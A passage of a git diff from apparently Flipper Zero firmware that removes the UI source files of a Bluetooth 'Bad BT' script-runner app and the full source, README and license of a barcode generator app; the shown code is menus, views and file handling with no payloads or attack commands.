text_input_set_header_text(text_input, "Set BT device name"); - - text_input_set_result_callback( - text_input, - bad_bt_scene_config_name_text_input_callback, - bad_bt, - bad_bt->config.bt_name, - BAD_BT_ADV_NAME_MAX_LEN, - true); - - view_dispatcher_switch_to_view(bad_bt->view_dispatcher, BadBtAppViewConfigName); -} - -bool bad_bt_scene_config_name_on_event(void* context, SceneManagerEvent event) { - BadBtApp* bad_bt = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - if(event.event == BadBtAppCustomEventTextEditResult) { - bt_set_profile_adv_name(bad_bt->bt, bad_bt->config.bt_name); - } - scene_manager_previous_scene(bad_bt->scene_manager); - } - return consumed; -} - -void bad_bt_scene_config_name_on_exit(void* context) { - BadBtApp* bad_bt = context; - TextInput* text_input = bad_bt->text_input; - - text_input_reset(text_input); -} diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_error.c b/applications/external/bad_bt/scenes/bad_bt_scene_error.c deleted file mode 100644 index e25703e7d..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_error.c +++ /dev/null @@ -1,61 +0,0 @@ -#include "../bad_bt_app.h" - -static void - bad_bt_scene_error_event_callback(GuiButtonType result, InputType type, void* context) { - furi_assert(context); - BadBtApp* app = context; - - if((result == GuiButtonTypeLeft) && (type == InputTypeShort)) { - view_dispatcher_send_custom_event(app->view_dispatcher, BadBtCustomEventErrorBack); - } -} - -void bad_bt_scene_error_on_enter(void* context) { - BadBtApp* app = context; - - if(app->error == BadBtAppErrorNoFiles) { - widget_add_icon_element(app->widget, 0, 0, &I_SDQuestion_35x43); - widget_add_string_multiline_element( - app->widget, - 81, - 4, - AlignCenter, - AlignTop, - FontSecondary, - "No SD card or\napp data found.\nThis app will not\nwork without\nrequired files."); - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Back", bad_bt_scene_error_event_callback, app); - } else if(app->error == BadBtAppErrorCloseRpc) { - widget_add_icon_element(app->widget, 78, 0, &I_ActiveConnection_50x64); - widget_add_string_multiline_element( - app->widget, 3, 2, AlignLeft, AlignTop, FontPrimary, "Connection\nis active!"); - widget_add_string_multiline_element( - app->widget, - 3, - 30, - AlignLeft, - AlignTop, - FontSecondary, - "Disconnect from\nPC or phone to\nuse this function."); - } - - view_dispatcher_switch_to_view(app->view_dispatcher, BadBtAppViewError); -} - -bool bad_bt_scene_error_on_event(void* context, SceneManagerEvent event) { - BadBtApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == BadBtCustomEventErrorBack) { - view_dispatcher_stop(app->view_dispatcher); - consumed = true; - } - } - return consumed; -} - -void bad_bt_scene_error_on_exit(void* context) { - BadBtApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_file_select.c b/applications/external/bad_bt/scenes/bad_bt_scene_file_select.c deleted file mode 100644 index b86dc6d71..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_file_select.c +++ /dev/null @@ -1,49 +0,0 @@ -#include "../bad_bt_app.h" -#include -#include - -static bool bad_bt_file_select(BadBtApp* bad_bt) { - furi_assert(bad_bt); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, BAD_BT_APP_SCRIPT_EXTENSION, &I_badbt_10px); - browser_options.base_path = BAD_BT_APP_BASE_FOLDER; - browser_options.skip_assets = true; - - // Input events and views are managed by file_browser - bool res = dialog_file_browser_show( - bad_bt->dialogs, bad_bt->file_path, bad_bt->file_path, &browser_options); - - return res; -} - -void bad_bt_scene_file_select_on_enter(void* context) { - BadBtApp* bad_bt = context; - - if(bad_bt->bad_bt_script) { - bad_bt_script_close(bad_bt->bad_bt_script); - bad_bt->bad_bt_script = NULL; - } - - if(bad_bt_file_select(bad_bt)) { - bad_bt->bad_bt_script = bad_bt_script_open(bad_bt->file_path, bad_bt->bt, bad_bt); - bad_bt_script_set_keyboard_layout(bad_bt->bad_bt_script, bad_bt->keyboard_layout); - - scene_manager_next_scene(bad_bt->scene_manager, BadBtSceneWork); - } else { - view_dispatcher_stop(bad_bt->view_dispatcher); - } -} - -bool bad_bt_scene_file_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - // BadBtApp* bad_bt = context; - return false; -} - -void bad_bt_scene_file_select_on_exit(void* context) { - UNUSED(context); - // BadBtApp* bad_bt = context; -} diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_work.c b/applications/external/bad_bt/scenes/bad_bt_scene_work.c deleted file mode 100644 index 684bb8b74..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_work.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../helpers/ducky_script.h" -#include "../bad_bt_app.h" -#include "../views/bad_bt_view.h" -#include -#include "toolbox/path.h" - -void bad_bt_scene_work_button_callback(InputKey key, void* context) { - furi_assert(context); - BadBtApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, key); -} - -bool bad_bt_scene_work_on_event(void* context, SceneManagerEvent event) { - BadBtApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == InputKeyLeft) { - if(bad_bt_is_idle_state(app->bad_bt_view)) { - scene_manager_next_scene(app->scene_manager, BadBtSceneConfig); - } - consumed = true; - } else if(event.event == InputKeyOk) { - bad_bt_script_toggle(app->bad_bt_script); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeTick) { - bad_bt_set_state(app->bad_bt_view, bad_bt_script_get_state(app->bad_bt_script)); - } - return consumed; -} - -void bad_bt_scene_work_on_enter(void* context) { - BadBtApp* app = context; - - FuriString* file_name; - file_name = furi_string_alloc(); - path_extract_filename(app->file_path, file_name, true); - bad_bt_set_file_name(app->bad_bt_view, furi_string_get_cstr(file_name)); - furi_string_free(file_name); - - FuriString* layout; - layout = furi_string_alloc(); - path_extract_filename(app->keyboard_layout, layout, true); - bad_bt_set_layout(app->bad_bt_view, furi_string_get_cstr(layout)); - furi_string_free(layout); - - bad_bt_set_state(app->bad_bt_view, bad_bt_script_get_state(app->bad_bt_script)); - - bad_bt_set_button_callback(app->bad_bt_view, bad_bt_scene_work_button_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, BadBtAppViewWork); -} - -void bad_bt_scene_work_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/bad_bt/views/bad_bt_view.c b/applications/external/bad_bt/views/bad_bt_view.c deleted file mode 100644 index 4a9bf589c..000000000 --- a/applications/external/bad_bt/views/bad_bt_view.c +++ /dev/null @@ -1,233 +0,0 @@ -#include "bad_bt_view.h" -#include "../helpers/ducky_script.h" -#include "../bad_bt_app.h" -#include -#include -#include - -#define MAX_NAME_LEN 64 - -typedef struct { - char file_name[MAX_NAME_LEN]; - char layout[MAX_NAME_LEN]; - BadBtState state; - uint8_t anim_frame; -} BadBtModel; - -static void bad_bt_draw_callback(Canvas* canvas, void* _model) { - BadBtModel* model = _model; - - FuriString* disp_str; - disp_str = furi_string_alloc_set("(BT) "); - furi_string_cat_str(disp_str, model->file_name); - elements_string_fit_width(canvas, disp_str, 128 - 2); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 2, 8, furi_string_get_cstr(disp_str)); - - if(strlen(model->layout) == 0) { - furi_string_set(disp_str, "(default)"); - } else { - furi_string_reset(disp_str); - furi_string_push_back(disp_str, '('); - for(size_t i = 0; i < strlen(model->layout); i++) - furi_string_push_back(disp_str, model->layout[i]); - furi_string_push_back(disp_str, ')'); - } - if(model->state.pin) { - furi_string_cat_printf(disp_str, " PIN: %ld", model->state.pin); - } - elements_string_fit_width(canvas, disp_str, 128 - 2); - canvas_draw_str( - canvas, 2, 8 + canvas_current_font_height(canvas), furi_string_get_cstr(disp_str)); - - furi_string_reset(disp_str); - - if((model->state.state == BadBtStateIdle) || (model->state.state == BadBtStateDone) || - (model->state.state == BadBtStateNotConnected)) { - elements_button_center(canvas, "Run"); - elements_button_left(canvas, "Config"); - } else if((model->state.state == BadBtStateRunning) || (model->state.state == BadBtStateDelay)) { - elements_button_center(canvas, "Stop"); - } else if(model->state.state == BadBtStateWaitForBtn) { - elements_button_center(canvas, "Press to continue"); - } else if(model->state.state == BadBtStateWillRun) { - elements_button_center(canvas, "Cancel"); - } - - if(model->state.state == BadBtStateNotConnected) { - canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Connect to"); - canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "a device"); - } else if(model->state.state == BadBtStateWillRun) { - canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Will run"); - canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "on connect"); - } else if(model->state.state == BadBtStateFileError) { - canvas_draw_icon(canvas, 4, 26, &I_Error_18x18); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "File"); - canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "ERROR"); - } else if(model->state.state == BadBtStateScriptError) { - canvas_draw_icon(canvas, 4, 26, &I_Error_18x18); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 127, 33, AlignRight, AlignBottom, "ERROR:"); - canvas_set_font(canvas, FontSecondary); - furi_string_printf(disp_str, "line %u", model->state.error_line); - canvas_draw_str_aligned( - canvas, 127, 46, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - furi_string_set_str(disp_str, model->state.error); - elements_string_fit_width(canvas, disp_str, canvas_width(canvas)); - canvas_draw_str_aligned( - canvas, 127, 56, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - } else if(model->state.state == BadBtStateIdle) { - canvas_draw_icon(canvas, 4, 26, &I_Smile_18x18); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 114, 40, AlignRight, AlignBottom, "0"); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - } else if(model->state.state == BadBtStateRunning) { - if(model->anim_frame == 0) { - canvas_draw_icon(canvas, 4, 23, &I_EviSmile1_18x21); - } else { - canvas_draw_icon(canvas, 4, 23, &I_EviSmile2_18x21); - } - canvas_set_font(canvas, FontBigNumbers); - furi_string_printf( - disp_str, "%u", ((model->state.line_cur - 1) * 100) / model->state.line_nb); - canvas_draw_str_aligned( - canvas, 114, 40, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - } else if(model->state.state == BadBtStateDone) { - canvas_draw_icon(canvas, 4, 23, &I_EviSmile1_18x21); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 114, 40, AlignRight, AlignBottom, "100"); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - } else if(model->state.state == BadBtStateDelay) { - if(model->anim_frame == 0) { - canvas_draw_icon(canvas, 4, 23, &I_EviWaiting1_18x21); - } else { - canvas_draw_icon(canvas, 4, 23, &I_EviWaiting2_18x21); - } - canvas_set_font(canvas, FontBigNumbers); - furi_string_printf( - disp_str, "%u", ((model->state.line_cur - 1) * 100) / model->state.line_nb); - canvas_draw_str_aligned( - canvas, 114, 40, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - canvas_set_font(canvas, FontSecondary); - furi_string_printf(disp_str, "delay %lus", model->state.delay_remain); - canvas_draw_str_aligned( - canvas, 127, 50, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - } else { - canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); - } - - furi_string_free(disp_str); -} - -static bool bad_bt_input_callback(InputEvent* event, void* context) { - furi_assert(context); - BadBt* bad_bt = context; - bool consumed = false; - - if(event->type == InputTypeShort) { - if((event->key == InputKeyLeft) || (event->key == InputKeyOk)) { - consumed = true; - furi_assert(bad_bt->callback); - bad_bt->callback(event->key, bad_bt->context); - } - } - - return consumed; -} - -BadBt* bad_bt_alloc() { - BadBt* bad_bt = malloc(sizeof(BadBt)); - - bad_bt->view = view_alloc(); - view_allocate_model(bad_bt->view, ViewModelTypeLocking, sizeof(BadBtModel)); - view_set_context(bad_bt->view, bad_bt); - view_set_draw_callback(bad_bt->view, bad_bt_draw_callback); - view_set_input_callback(bad_bt->view, bad_bt_input_callback); - - return bad_bt; -} - -void bad_bt_free(BadBt* bad_bt) { - furi_assert(bad_bt); - view_free(bad_bt->view); - free(bad_bt); -} - -View* bad_bt_get_view(BadBt* bad_bt) { - furi_assert(bad_bt); - return bad_bt->view; -} - -void bad_bt_set_button_callback(BadBt* bad_bt, BadBtButtonCallback callback, void* context) { - furi_assert(bad_bt); - furi_assert(callback); - with_view_model( - bad_bt->view, - BadBtModel * model, - { - UNUSED(model); - bad_bt->callback = callback; - bad_bt->context = context; - }, - true); -} - -void bad_bt_set_file_name(BadBt* bad_bt, const char* name) { - furi_assert(name); - with_view_model( - bad_bt->view, BadBtModel * model, { strlcpy(model->file_name, name, MAX_NAME_LEN); }, true); -} - -void bad_bt_set_layout(BadBt* bad_bt, const char* layout) { - furi_assert(layout); - with_view_model( - bad_bt->view, BadBtModel * model, { strlcpy(model->layout, layout, MAX_NAME_LEN); }, true); -} - -void bad_bt_set_state(BadBt* bad_bt, BadBtState* st) { - furi_assert(st); - uint32_t pin = 0; - if(bad_bt->context != NULL) { - BadBtApp* app = bad_bt->context; - if(app->bt != NULL) { - pin = app->bt->pin; - } - } - st->pin = pin; - with_view_model( - bad_bt->view, - BadBtModel * model, - { - memcpy(&(model->state), st, sizeof(BadBtState)); - model->anim_frame ^= 1; - }, - true); -} - -bool bad_bt_is_idle_state(BadBt* bad_bt) { - bool is_idle = false; - with_view_model( - bad_bt->view, - BadBtModel * model, - { - if((model->state.state == BadBtStateIdle) || (model->state.state == BadBtStateDone) || - (model->state.state == BadBtStateNotConnected)) { - is_idle = true; - } - }, - false); - return is_idle; -} diff --git a/applications/external/bad_bt/views/bad_bt_view.h b/applications/external/bad_bt/views/bad_bt_view.h deleted file mode 100644 index 850a71057..000000000 --- a/applications/external/bad_bt/views/bad_bt_view.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -typedef void (*BadBtButtonCallback)(InputKey key, void* context); - -typedef struct { - View* view; - BadBtButtonCallback callback; - void* context; -} BadBt; - -typedef struct BadBtState BadBtState; - -BadBt* bad_bt_alloc(); - -void bad_bt_free(BadBt* bad_bt); - -View* bad_bt_get_view(BadBt* bad_bt); - -void bad_bt_set_button_callback(BadBt* bad_bt, BadBtButtonCallback callback, void* context); - -void bad_bt_set_file_name(BadBt* bad_bt, const char* name); - -void bad_bt_set_layout(BadBt* bad_bt, const char* layout); - -void bad_bt_set_state(BadBt* bad_bt, BadBtState* st); - -bool bad_bt_is_idle_state(BadBt* bad_bt); diff --git a/applications/external/barcode_gen/LICENSE b/applications/external/barcode_gen/LICENSE deleted file mode 100644 index 4c02d8221..000000000 --- a/applications/external/barcode_gen/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ - -MIT License - -Copyright (c) 2023 Alan Tsui - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/applications/external/barcode_gen/README.md b/applications/external/barcode_gen/README.md deleted file mode 100644 index ec944cb26..000000000 --- a/applications/external/barcode_gen/README.md +++ /dev/null @@ -1,88 +0,0 @@ -

-

Barcode Generator

-

- -A barcode generator for the Flipper Zero that supports **UPC-A**, **EAN-8**, **EAN-13**, **Code-39**, **Codabar**, and **Code-128**[1] -

- -Note: Barcode save locations have been moved from `/barcodes` to `/apps_data/barcodes` - -## Table of Contents -- [Table of Contents](#table-of-contents) -- [Installing](#installing) -- [Building](#building) -- [Usage](#usage) - - [Creating a barcode](#creating-a-barcode) - - [Editing a barcode](#editing-a-barcode) - - [Deleting a barcode](#deleting-a-barcode) - - [Viewing a barcode](#viewing-a-barcode) -- [Screenshots](#screenshots) -- [Credits](#credits) - - -## Installing -1) Download the `.zip` file from the release section -2) Extract/unzip the `.zip` file onto your computer -3) Open qFlipper and go to the file manager -4) Navigate to the `apps` folder -5) Drag & drop the `.fap` file into the `apps` folder -6) Navigate back to the root folder of the SD card and create the folder `apps_data`, if not already there -7) Navigate into `apps_data` and create another folder called `barcode_data` -8) Navigate into `barcode_data` -9) Drag & drop the encoding txts (`code39_encodings.txt`, `code128_encodings.txt` & `codabar_encodings.txt`) into the `barcode_data` folder - -## Building -1) Clone the [flipperzero-firmware](https://github.com/flipperdevices/flipperzero-firmware) repository or a firmware of your choice -2) Clone this repository and put it in the `applications_user` folder -3) Build this app by using the command `./fbt fap_Barcode_App` -4) Copy the `.fap` from `build\f7-firmware-D\.extapps\Barcode_App.fap` to `apps\Misc` using the qFlipper app -5) While still in the qFlipper app, navigate to the root folder of the SD card and create the folder `apps_data`, if not already there -6) Navigate into `apps_data` and create another folder called `barcode_data` -7) Navigate into `barcode_data` -8) Drag & drop the encoding txts (`code39_encodings.txt`, `code128_encodings.txt` & `codabar_encodings.txt`) from the `encoding_tables` folder in this repository into the `barcode_data` folder - -## Usage - -### Creating a barcode -1) To create a barcode click on `Create Barcode` -2) Next select your type using the left and right arrows -3) Enter your filename and then your barcode data -4) Click save - -**Note**: For Codabar barcodes, you must manually add the start and stop codes to the barcode data -Start/Stop codes can be A, B, C, or D -For example, if you wanted to represent `1234` as a barcode you will need to enter something like `A1234A`. (You can replace the letters A with either A, B, C, or D) - -![Codabar Data Example](screenshots/Codabar%20Data%20Example.png "Codabar Data Example") - -### Editing a barcode -1) To edit a barcode click on `Edit Barcode` -2) Next select the barcode file you want to edit -3) Edit the type, name, or data -4) Click save - -### Deleting a barcode -1) To delete a barcode click on `Edit Barcode` -2) Next select the barcode file you want to delete -3) Scroll all the way to the bottom -4) Click delete - -### Viewing a barcode -1) To view a barcode click on `Load Barcode` -2) Next select the barcode file you want to view - -## Screenshots -![Barcode Create Screen](screenshots/Creating%20Barcode.png "Barcode Create Screen") - -![Flipper Code-128 Barcode](screenshots/Flipper%20Barcode.png "Flipper Code-128 Barcode") - -![Flipper Box EAN-13 Barcode](screenshots/Flipper%20Box%20Barcode.png "Flipper Box EAN-13 Barcode") - -## Credits - -- [Kingal1337](https://github.com/Kingal1337) - Developer -- [Z0wl](https://github.com/Z0wl) - Added Code128-C Support -- [@teeebor](https://github.com/teeebor) - Menu Code Snippet - - -[1] - supports Set B (only the characters from 0-94). Also supports Set C diff --git a/applications/external/barcode_gen/application.fam b/applications/external/barcode_gen/application.fam deleted file mode 100644 index 0564b785a..000000000 --- a/applications/external/barcode_gen/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="barcode_app", - name="Barcode App", - apptype=FlipperAppType.EXTERNAL, - entry_point="barcode_main", - requires=["gui", "storage"], - stack_size=2 * 1024, - fap_category="Tools", - fap_icon="images/barcode_10.png", - fap_icon_assets="images", - fap_file_assets="barcode_encoding_files", - fap_author="@Kingal1337", - fap_weburl="https://github.com/Kingal1337/flipper-barcode-generator", - fap_version="1.1", - fap_description="App allows you to display various barcodes on flipper screen", -) diff --git a/applications/external/barcode_gen/barcode_app.c b/applications/external/barcode_gen/barcode_app.c deleted file mode 100644 index 99e5769d2..000000000 --- a/applications/external/barcode_gen/barcode_app.c +++ /dev/null @@ -1,348 +0,0 @@ -#include "barcode_app.h" - -#include "barcode_app_icons.h" - -/** - * Opens a file browser dialog and returns the filepath of the selected file - * - * @param folder the folder to view when the browser opens - * @param file_path a string pointer for the file_path when a file is selected, - * file_path will be the folder path is nothing is selected - * @returns true if a file is selected -*/ -static bool select_file(const char* folder, FuriString* file_path) { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, "", &I_barcode_10); - browser_options.base_path = DEFAULT_USER_BARCODES; - furi_string_set(file_path, folder); - - bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); - - furi_record_close(RECORD_DIALOGS); - - return res; -} - -/** - * Reads the data from a file and stores them in the FuriStrings raw_type and raw_data -*/ -ErrorCode read_raw_data(FuriString* file_path, FuriString* raw_type, FuriString* raw_data) { - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - ErrorCode reason = OKCode; - - if(!flipper_format_file_open_existing(ff, furi_string_get_cstr(file_path))) { - FURI_LOG_E(TAG, "Could not open file %s", furi_string_get_cstr(file_path)); - reason = FileOpening; - } else { - if(!flipper_format_read_string(ff, "Type", raw_type)) { - FURI_LOG_E(TAG, "Could not read \"Type\" string"); - reason = InvalidFileData; - } - if(!flipper_format_read_string(ff, "Data", raw_data)) { - FURI_LOG_E(TAG, "Could not read \"Data\" string"); - reason = InvalidFileData; - } - } - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - return reason; -} - -/** - * Gets the file name from a file path - * @param file_path the file path - * @param file_name the FuriString to store the file name - * @param remove_extension true if the extension should be removed, otherwise false -*/ -bool get_file_name_from_path(FuriString* file_path, FuriString* file_name, bool remove_extension) { - if(file_path == NULL || file_name == NULL) { - return false; - } - uint32_t slash_index = furi_string_search_rchar(file_path, '/', 0); - if(slash_index == FURI_STRING_FAILURE || slash_index >= (furi_string_size(file_path) - 1)) { - return false; - } - - furi_string_set(file_name, file_path); - furi_string_right(file_name, slash_index + 1); - if(remove_extension) { - uint32_t ext_index = furi_string_search_rchar(file_name, '.', 0); - if(ext_index != FURI_STRING_FAILURE && ext_index < (furi_string_size(file_path))) { - furi_string_left(file_name, ext_index); - } - } - - return true; -} - -/** - * Creates the barcode folder -*/ -void init_folder() { - Storage* storage = furi_record_open(RECORD_STORAGE); - FURI_LOG_I(TAG, "Creating barcodes folder"); - if(storage_simply_mkdir(storage, DEFAULT_USER_BARCODES)) { - FURI_LOG_I(TAG, "Barcodes folder successfully created!"); - } else { - FURI_LOG_I(TAG, "Barcodes folder already exists."); - } - furi_record_close(RECORD_STORAGE); -} - -void select_barcode_item(BarcodeApp* app) { - FuriString* file_path = furi_string_alloc(); - FuriString* raw_type = furi_string_alloc(); - FuriString* raw_data = furi_string_alloc(); - - //this determines if the data was read correctly or if the - bool loaded_success = true; - ErrorCode reason = OKCode; - - bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); - if(file_selected) { - FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); - Barcode* barcode = app->barcode_view; - - reason = read_raw_data(file_path, raw_type, raw_data); - if(reason != OKCode) { - loaded_success = false; - FURI_LOG_E(TAG, "Could not read data correctly"); - } - - //Free the data from the previous barcode - barcode_free_model(barcode); - - with_view_model( - barcode->view, - BarcodeModel * model, - { - model->file_path = furi_string_alloc_set(file_path); - - model->data = malloc(sizeof(BarcodeData)); - model->data->valid = loaded_success; - - if(loaded_success) { - model->data->raw_data = furi_string_alloc_set(raw_data); - model->data->correct_data = furi_string_alloc(); - - model->data->type_obj = get_type(raw_type); - - barcode_loader(model->data); - } else { - model->data->reason = reason; - } - }, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, BarcodeView); - } - - furi_string_free(raw_type); - furi_string_free(raw_data); - furi_string_free(file_path); -} - -void edit_barcode_item(BarcodeApp* app) { - FuriString* file_path = furi_string_alloc(); - FuriString* file_name = furi_string_alloc(); - FuriString* raw_type = furi_string_alloc(); - FuriString* raw_data = furi_string_alloc(); - - //this determines if the data was read correctly or if the - ErrorCode reason = OKCode; - - bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); - if(file_selected) { - FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); - CreateView* create_view_object = app->create_view; - - reason = read_raw_data(file_path, raw_type, raw_data); - if(reason != OKCode) { - FURI_LOG_E(TAG, "Could not read data correctly"); - with_view_model( - app->message_view->view, - MessageViewModel * model, - { model->message = get_error_code_message(reason); }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MessageErrorView); - - } else { - BarcodeTypeObj* type_obj = get_type(raw_type); - if(type_obj->type == UNKNOWN) { - type_obj = barcode_type_objs[0]; - } - get_file_name_from_path(file_path, file_name, true); - - create_view_free_model(create_view_object); - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - model->selected_menu_item = 0; - model->barcode_type = type_obj; - model->file_path = furi_string_alloc_set(file_path); - model->file_name = furi_string_alloc_set(file_name); - model->barcode_data = furi_string_alloc_set(raw_data); - model->mode = EditMode; - }, - true); - view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); - } - } - - furi_string_free(raw_type); - furi_string_free(raw_data); - furi_string_free(file_name); - furi_string_free(file_path); -} - -void create_barcode_item(BarcodeApp* app) { - CreateView* create_view_object = app->create_view; - - create_view_free_model(create_view_object); - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - model->selected_menu_item = 0; - model->barcode_type = barcode_type_objs[0]; - model->file_path = furi_string_alloc(); - model->file_name = furi_string_alloc(); - model->barcode_data = furi_string_alloc(); - model->mode = NewMode; - }, - true); - view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); -} - -void submenu_callback(void* context, uint32_t index) { - furi_assert(context); - - BarcodeApp* app = context; - - if(index == SelectBarcodeItem) { - select_barcode_item(app); - } else if(index == EditBarcodeItem) { - edit_barcode_item(app); - } else if(index == CreateBarcodeItem) { - create_barcode_item(app); - } -} - -uint32_t create_view_callback(void* context) { - UNUSED(context); - return CreateBarcodeView; -} - -uint32_t main_menu_callback(void* context) { - UNUSED(context); - return MainMenuView; -} - -uint32_t exit_callback(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -void free_app(BarcodeApp* app) { - FURI_LOG_I(TAG, "Freeing Data"); - - init_folder(); - free_types(); - - view_dispatcher_remove_view(app->view_dispatcher, TextInputView); - text_input_free(app->text_input); - - view_dispatcher_remove_view(app->view_dispatcher, MessageErrorView); - message_view_free(app->message_view); - - view_dispatcher_remove_view(app->view_dispatcher, MainMenuView); - submenu_free(app->main_menu); - - view_dispatcher_remove_view(app->view_dispatcher, CreateBarcodeView); - create_view_free(app->create_view); - - view_dispatcher_remove_view(app->view_dispatcher, BarcodeView); - barcode_free(app->barcode_view); - - //free the dispatcher - view_dispatcher_free(app->view_dispatcher); - - furi_message_queue_free(app->event_queue); - - furi_record_close(RECORD_GUI); - app->gui = NULL; - - free(app); -} - -int32_t barcode_main(void* p) { - UNUSED(p); - BarcodeApp* app = malloc(sizeof(BarcodeApp)); - init_types(); - app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - // Register view port in GUI - app->gui = furi_record_open(RECORD_GUI); - - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->main_menu = submenu_alloc(); - submenu_add_item(app->main_menu, "Load Barcode", SelectBarcodeItem, submenu_callback, app); - view_set_previous_callback(submenu_get_view(app->main_menu), exit_callback); - view_dispatcher_add_view(app->view_dispatcher, MainMenuView, submenu_get_view(app->main_menu)); - - submenu_add_item(app->main_menu, "Edit Barcode", EditBarcodeItem, submenu_callback, app); - - /***************************** - * Creating Text Input View - ******************************/ - app->text_input = text_input_alloc(); - view_set_previous_callback(text_input_get_view(app->text_input), create_view_callback); - view_dispatcher_add_view( - app->view_dispatcher, TextInputView, text_input_get_view(app->text_input)); - - /***************************** - * Creating Message View - ******************************/ - app->message_view = message_view_allocate(app); - view_dispatcher_add_view( - app->view_dispatcher, MessageErrorView, message_get_view(app->message_view)); - - /***************************** - * Creating Create View - ******************************/ - app->create_view = create_view_allocate(app); - submenu_add_item(app->main_menu, "Create Barcode", CreateBarcodeItem, submenu_callback, app); - view_set_previous_callback(create_get_view(app->create_view), main_menu_callback); - view_dispatcher_add_view( - app->view_dispatcher, CreateBarcodeView, create_get_view(app->create_view)); - - /***************************** - * Creating Barcode View - ******************************/ - app->barcode_view = barcode_view_allocate(app); - view_set_previous_callback(barcode_get_view(app->barcode_view), main_menu_callback); - view_dispatcher_add_view( - app->view_dispatcher, BarcodeView, barcode_get_view(app->barcode_view)); - - //switch view to submenu and run dispatcher - view_dispatcher_switch_to_view(app->view_dispatcher, MainMenuView); - view_dispatcher_run(app->view_dispatcher); - - free_app(app); - - return 0; -} diff --git a/applications/external/barcode_gen/barcode_app.h 